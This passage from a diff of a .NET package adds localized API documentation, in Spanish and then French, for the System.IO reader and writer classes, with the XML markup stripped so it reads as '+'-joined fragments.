a la cadena devuelta. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la cadena. + El número de caracteres es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir información en una cadena.La información se almacena en el subyacente. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Inicializa una nueva instancia de la clase que escribe en el especificado. + Objeto StringBuilder en el que se va a escribir. + + es null. + + + Inicializa una nueva instancia de la clase que escribe en el especificado y tiene el control de formato especificado. + Objeto StringBuilder en el que se va a escribir. + Objeto que controla las operaciones de formato. + + es null. + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene el donde se escribe el resultado. + Encoding donde se escribe el resultado. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + + + Devuelve el subyacente. + Objeto StringBuilder subyacente. + 2 + + + Devuelve una cadena que contiene los caracteres escritos hasta el momento en el StringWriter actual. + Cadena que contiene los caracteres escritos en el StringWriter actual. + 2 + + + Escribe un carácter en la cadena. + Carácter que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe una submatriz de caracteres en la cadena. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + + o son negativos. + ( + ) > .Length. + El sistema de escritura está cerrado. + 2 + + + Escribe una cadena en la cadena actual. + Cadena que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe un carácter en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena actual de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica de línea en la cadena. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la cadena actual. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Representa un lector que puede leer una serie secuencial de caracteres. + 2 + + + Inicializa una nueva instancia de la clase . + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true si se van a liberar los recursos administrados y no administrados; es false si se van a liberar únicamente los recursos no administrados. + + + Proporciona un TextReader sin datos del que leer. + 1 + + + Lee el siguiente carácter sin modificar el estado del sistema de lectura o el origen del carácter.Devuelve el siguiente carácter disponible sin leerlo realmente del lector. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si el lector no admite la operación de búsqueda. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter en el lector de texto y hace avanzar la posición de los caracteres en un carácter. + Carácter siguiente del lector de texto o -1 si no hay más caracteres disponibles.La implementación predeterminada devuelve -1. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si los datos están disponibles dentro del lector.Este método devuelve 0 (cero) si se llama cuando no quedan más caracteres para leer. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del lector se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en el lector de texto actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si se han leído todos los caracteres de entrada. + Cuando este método finaliza, este parámetro contiene la matriz de caracteres especificada con valores entre e ( + -1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 2 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres del lector de texto y devuelve los datos como una cadena. + Línea siguiente del lector o null si se han leído todos los caracteres. + Se produce un error de E/S. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El objeto está cerrado. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica una línea de caracteres y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de texto, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Cadena que contiene todos los caracteres desde la posición actual hasta el final del lector. + Se produce un error de E/S. + El objeto está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final del lector de texto. + El número de caracteres es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Representa un sistema de escritura que puede escribir una serie secuencial de caracteres.Esta clase es abstracta. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Almacena los caracteres de nueva línea usados para el TextWriter. + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, devuelve la codificación de caracteres en que se escribe el resultado. + Codificación de caracteres donde se escriben los resultados. + 1 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se desecha el sistema de escritura de texto. + El sistema de escritura está actualmente en uso por una operación de escritura anterior. + + + Obtiene un objeto que controla las operaciones de formato. + Objeto para una referencia cultural específica o para las operaciones de formato de la referencia cultural actual si no se especificó otra referencia cultural. + 2 + + + Obtiene o establece la cadena de terminador de línea usada por el TextWriter actual. + Cadena de terminador de línea para el TextWriter actual. + 2 + + + Proporciona un TextWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe la representación de texto de un valor Boolean en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto en la cadena o secuencia de texto mediante una llamada al método ToString en ese objeto. + Objeto que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena en la cadena o secuencia de texto. + Cadena que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero) o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + El valor de o es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si es null, no se escribe nada. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea en la cadena o secuencia. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor Boolean seguida de un terminador de línea en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter seguido de un terminador en la cadena o la secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + Posición del carácter en donde comenzar a leer datos. + Número máximo de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal seguida de un terminador de línea en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto mediante una llamada al método ToString en ese objeto, seguida de un terminador de línea en la cadena o secuencia de texto. + Objeto que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena seguida de un terminador en la cadena o la secuencia de texto. + Cadena que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + Una cadena u objeto se pasa como null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un terminador de línea en la cadena o secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si la matriz de caracteres es null, sólo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/fr/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/fr/System.IO.xml new file mode 100644 index 0000000..1743a62 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/fr/System.IO.xml @@ -0,0 +1,2201 @@ + + + + System.IO + + + + Lit les types de données primitifs sous forme de valeurs binaires avec un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux d'entrée. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + + Initialise une nouvelle instance de la classe en fonction du flux et l'encodage de caractères spécifiés. + Flux d'entrée. + Encodage des caractères à utiliser. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux d'entrée. + Encodage des caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + ou a la valeur null. + + + Expose l'accès au flux sous-jacent de l'élément . + Flux sous-jacent associé à l'élément BinaryReader. + 2 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplit la mémoire tampon interne avec le nombre spécifié d'octets lus à partir du flux. + Nombre d'octets à lire. + La fin du flux est atteinte avant que n'ait pu être lu. + Une erreur d'E/S se produit. + + demandé est plus grand que la taille de la mémoire tampon interne. + + + Retourne le prochain caractère disponible et n'avance pas la position de caractère ou d'octet. + Prochain caractère disponible, ou -1 si aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + Le caractère actuel ne peut pas être décodé dans la mémoire tampon de caractères interne à l'aide du sélectionné pour le flux de données. + 2 + + + Lit les caractères du flux sous-jacent et avance la position actuelle du flux conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Caractère suivant du flux d'entrée, ou -1 si aucun caractère n'est actuellement disponible. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Lit le nombre spécifié d'octets dans le flux, en commençant à un point spécifié dans le tableau d'octets. + Nombre d'octets lus dans .Ce total peut être inférieur au nombre d'octets demandé si ce nombre d'octets n'est pas disponible, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre d'octets à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié de caractères du flux, en commençant à un point spécifié dans le tableau de caractères. + Nombre total de caractères lus dans la mémoire tampon.Ce total peut être inférieur au nombre de caractères demandé si ce nombre de caractères n'est pas disponible actuellement, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier 32 bits au format compressé. + Entier 32 bits au format compressé. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Le flux est endommagé. + + + Lit une valeur Boolean à partir du flux actuel et avance la position actuelle du flux d'un octet. + true si l'octet est différent de zéro ; sinon, false. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit l'octet suivant du flux actuel et avance la position actuelle du flux d'un octet. + Octet suivant lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié d'octets du flux actuel dans un tableau d'octets et avance la position actuelle de ce nombre d'octets. + Tableau d'octets contenant les données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre d'octets demandé si la fin du flux est atteinte. + Nombre d'octets à lire.Cette valeur doit être 0 ou un nombre non négatif, sinon une exception se produit. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Une erreur d'E/S se produit. + Le flux est fermé. + + est négatif. + 2 + + + Lit le caractère suivant dans le flux actuel et avance la position actuelle du flux conformément à la valeur Encoding utilisée et du caractère spécifique en cours de lecture dans le flux. + Caractère lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Un caractère de substitution a été lu. + 2 + + + Lit le nombre spécifié de caractères dans le flux actuel, retourne les données dans un tableau de caractères et avance la position actuelle conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Tableau de caractères contenant des données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre de caractères demandés si la fin du flux est atteinte. + Nombre de caractères à lire. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Le flux est fermé. + Une erreur d'E/S se produit. + + est négatif. + 2 + + + Lit une valeur décimale dans le flux actuel et avance la position actuelle du flux de 16 octets. + Valeur décimale lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Valeur à virgule flottante de 8 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 2 octets dans le flux actuel et avance la position actuelle du flux de deux octets. + Entier signé de 2 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Entier signé de 4 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Entier signé de 8 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un octet signé dans ce flux et avance la position actuelle du flux d'un octet. + Octet signé lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Valeur à virgule flottante de 4 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une chaîne dans le flux actuel.La chaîne est précédée de la longueur, encodée sous la forme d'un entier de sept bits à la fois. + Chaîne en cours de lecture. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 2 octets dans le flux actuel à l'aide de l’encodage Little Endian et avance la position du flux de deux octets. + Entier non signé de 2 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de quatre octets. + Entier non signé de 4 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de huit octets. + Entier non signé de 8 octets lu dans ce flux. + La fin du flux est atteinte. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Écrit des types primitifs en binaire dans un flux et prend en charge l'écriture de chaînes dans un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe qui écrit dans un flux. + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux de sortie. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés. + Flux de sortie. + Encodage de caractères à utiliser. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Initialise une nouvelle instance de la classe selon le flux et l'encodage de caractères spécifiés, et permet 